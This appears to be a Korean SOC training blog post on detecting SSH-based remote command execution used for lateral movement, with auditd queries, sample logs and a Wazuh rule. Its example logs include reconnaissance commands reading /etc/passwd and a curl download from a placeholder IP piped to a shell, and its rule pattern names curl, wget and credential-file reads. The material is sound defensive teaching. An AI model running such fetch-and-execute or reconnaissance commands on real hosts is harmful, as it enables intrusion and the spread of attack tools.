319. 내부 확장·측면 이동 — 원격 명령 실행(remote exec) 탐지

changseop lee·2026년 10월 8일

Soc remoteexec 내부 확장·측면 이동 리눅스 보안관제 시스템 보안 · 취약점 시스템보안 원격실행

시스템 보안 · 취약점

목록 보기

319/450

시스템 보안 · 취약점 › G. 내부 확장 · 측면 이동 징후 · 19/50편 (전체 319/450)
학습 단계: 원격 실행·서비스 악용
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

3단계는 원격 실행·서비스 악용을 다룹니다. 첫 번째는 원격 명령 실행입니다. 공격자는 대화형 셸로 로그인하지 않고 원격으로 명령만 실행(ssh host command)해 은밀하게 측면 이동합니다. 세션 로그가 적게 남아 탐지가 어렵습니다.

원격 명령 실행 측면 이동
 ssh host 'command': 로그인 없이 원격 명령 실행
   → 대화형 세션 없음(은밀)
 반복 원격 실행: 여러 호스트에 같은 명령(배포형 공격)
 원격 실행으로 도구 설치·정보 수집·추가 확산

특징: 대화형 셸 없이 명령만 → 세션 로그 적음

ssh host 'id;uname' 같은 원격 명령은 대화형 로그인보다 흔적이 적습니다. 원격 실행 명령의 내용·대상·반복으로 탐지합니다.

2. 왜 중요한가

원격 명령 실행은 대화형 세션 없이 측면 이동해 세션 로그가 적어 은밀합니다.
여러 호스트에 같은 명령을 반복 실행하는 배포형 공격이 확산 신호입니다.
원격 실행으로 정보 수집·도구 설치·추가 확산을 한 번에 수행합니다.

3. 핵심 명령어 / 설정

원격 실행	패턴	위험
`ssh host cmd`	비대화형 명령	높음
반복 실행	다수 호스트 같은 명령	높음
정보 수집 명령	id·uname·정찰	중간
도구 설치 명령	다운로드+실행	높음
정상 자동화	승인 배포	정상

4. 실습 (실습 예시)

# 원격 명령 실행 탐지 (분석 방법)
# sshd가 생성한 비대화형 명령(원격 실행)
sudo ausearch -k proc_exec,lateral -i --start recent 2>/dev/null | grep -E 'ppid_comm="sshd"' | grep -vE 'comm="(bash|sh)".*tty=pts' | tail
# 원격 실행 명령 내용(정찰·도구)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep 'ppid_comm="sshd"' | grep -oE 'proctitle=.*' | grep -E 'id|uname|curl|wget|whoami' | tail

5. 정상 상태

$ (원격 명령) (없음 또는 정상 자동화 배포 명령)

원격 명령 실행이 정상 자동화(배포 스크립트)에 그치고, 정찰·도구 설치 명령이 없는 상태가 정상입니다.

6. 이상 상태

$ (원격 명령)
ppid_comm="sshd" proctitle="id;uname -a;cat /etc/passwd" (정찰)
ppid_comm="sshd" proctitle="curl http://192.0.2.88/t (파이프로 셸 실행)" (도구 설치)
→ 여러 호스트에서 동일 명령 반복

sshd가 생성한 비대화형 명령으로 정찰(id;uname) → 원격 정보 수집
원격 실행으로 도구 다운로드+실행 → 확산 도구 설치
여러 호스트 반복 원격 실행 → 배포형 측면 이동 → 정탐

7. 로그 분석 (분석 방법)

원격 명령 실행 분석입니다(가상의 예시).

[거점] web01
   ↓ ssh db01 'id;uname;curl ... (파이프로 셸 실행)' (원격 명령, 로그인 없음)
[대상1] db01: sshd → 비대화형 명령 실행(세션 로그 적음)
   ↓ 반복
[대상2] app01: 같은 원격 명령
[대상3] file01: 같은 원격 명령
 = 대화형 없이 다수 호스트에 명령 배포(은밀 확산)

관찰	해석
sshd→비대화형	원격 명령
정찰·도구 명령	수집·설치
다수 호스트 반복	배포형 확산
세션 로그 적음	은밀

sshd가 생성한 비대화형 명령 + 반복이 원격 실행 측면 이동의 지표입니다.

8. SOC 관제 포인트

원격 명령 실행은 대화형 로그인 없이 원격으로 명령만 실행하는 은밀한 측면 이동입니다.
여러 호스트에 같은 명령 반복(배포형)이 확산 신호입니다.
sshd가 생성한 비대화형 명령 + 정찰·도구 내용으로 탐지합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_g,lateral,">
  <rule id="106180" level="12">
    <if_sid>106000</if_sid>
    <field name="audit.ppid_comm">sshd</field>
    <field name="audit.proctitle" type="pcre2">(id|uname|whoami|hostname|cat /etc/passwd|curl|wget).*(;|&&|\|)</field>
    <description>SSH 원격 비대화형 명령 실행(정찰·도구·측면 이동)</description>
    <mitre><id>T1021.004</id><id>T1059</id></mitre>
  </rule>
</group>

정상 자동화 배포 명령은 예외 처리합니다. 다수 호스트 반복 원격 실행은 상관 룰(G42)로 확산을 포착합니다.

10. 대응 방법

초기 확인 — sshd가 생성한 비대화형 원격 명령·내용·대상을 확인합니다.
범위 확인 — 정찰·도구 설치 명령·다수 호스트 반복(배포형)을 확인합니다.
증거 확보 — 원격 실행 명령·대상 호스트 분포를 보존합니다.
차단/조치 — 원격 실행 측면 이동 정탐이면 경로 차단·설치 도구 제거·확산 추적을 진행합니다.
재발 방지 — sshd 원격 명령 기반 측면 이동 탐지를 운영합니다.

11. 핵심 정리

원격 실행	패턴
ssh host cmd	비대화형 명령
반복 실행	다수 호스트 같은 명령
정보 수집	id·uname·정찰
도구 설치	다운로드+실행
면접 포인트	"원격 명령 실행은 대화형 없이 은밀 — sshd 비대화형 명령+반복이 신호"